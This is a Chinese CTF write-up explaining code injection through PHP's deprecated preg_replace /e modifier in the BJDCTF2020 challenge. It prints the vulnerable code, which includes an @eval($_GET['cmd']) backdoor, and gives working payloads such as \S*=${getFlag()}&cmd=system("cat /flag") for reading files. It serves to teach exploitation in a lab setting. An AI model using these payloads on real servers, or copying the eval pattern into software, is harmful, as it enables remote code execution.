本文用于记录preg_replace/e的神奇组合,也顺带复习正则表达式吧

适用环境:PHP版本小于7.0.0,高于PHP 5.5.0会Warning,但不影响执行

以下是官方文档说明

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of__PHP 7.0.0__.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义.

现在我们以[BJDCTF2020]ZJCTF,不过如此的一题为例,解析该漏洞(其实也不能说是漏洞吧,代码不规范引起的)

这题的前面的思路跟ZJCTF是一样的,这里也就不多说了,感兴趣的可以看看前面的博客,直接上得到的代码吧~

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

文档说的很清楚将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串,如果第二个参数replacement,然而这里的第二个参数却固定为 'strtolower("\1")' 字符串,那这样要如何执行代码呢?

上面的命令执行,相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

由于前面的第一个参数被括号括起来了,所以第二个元素就是括号里的东西了, payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

!!!注意:这里{${phpinfo()}}可为${phpinfo()},效果都是一样的

原先的语句: preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

按照这个代码会执行phpinfo(),为什么呢? 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。即我们这里.*可以代表{${phpinfo()}},然后第二个参数的值又和第一个参数一样,故第二个参数为strtolower("{${phpinfo()}}"),由于是双引号,phpinfo()会被当做变量执行,返回true

. 匹配除换行符 \n之外的任何单字符。

* 匹配前面的子表达式零次或多次。

# 拓展阅读:

var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''


这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

但是嘛…可以尝试一下直接GET传值一个/?.\*={${phpinfo()}}试试,会发现不能成功返回php的信息(即phpinfo()的执行结果,这是为什么呢?

<?php
    var_dump($_GET);

我们尝试GET一个/?.\*={${phpinfo()}}

img

会发现.被转成_了,在正则表达式中_好像是没有意义的反正不能代表任意字符,所以我们的payload就失效了,我们fuzz一下看下哪些特殊字符开头会被转换吧

img

可以知道只有.才会被转换成_,这就好办了,用其他正则替换就行了,我们可以使用\S来代替.

\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。

所以我们的payload可以为\S*={${phpinfo()}}

img

!!!注意:这里\S*={${phpinfo()}}可为\S*=${phpinfo()},效果都是一样的

这样我们就可以执行语句了,得flag的方法就不多讲了

?file=next.php&
\S*=${getFlag()}&cmd=show_source(%22/flag%22);&text=php://input

S*=${getflag()}&cmd=show_source(%22/flag%22);

S*=${getflag()}&cmd=system("cat%20/flag");

参考资料

  • https://xz.aliyun.com/t/2557
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...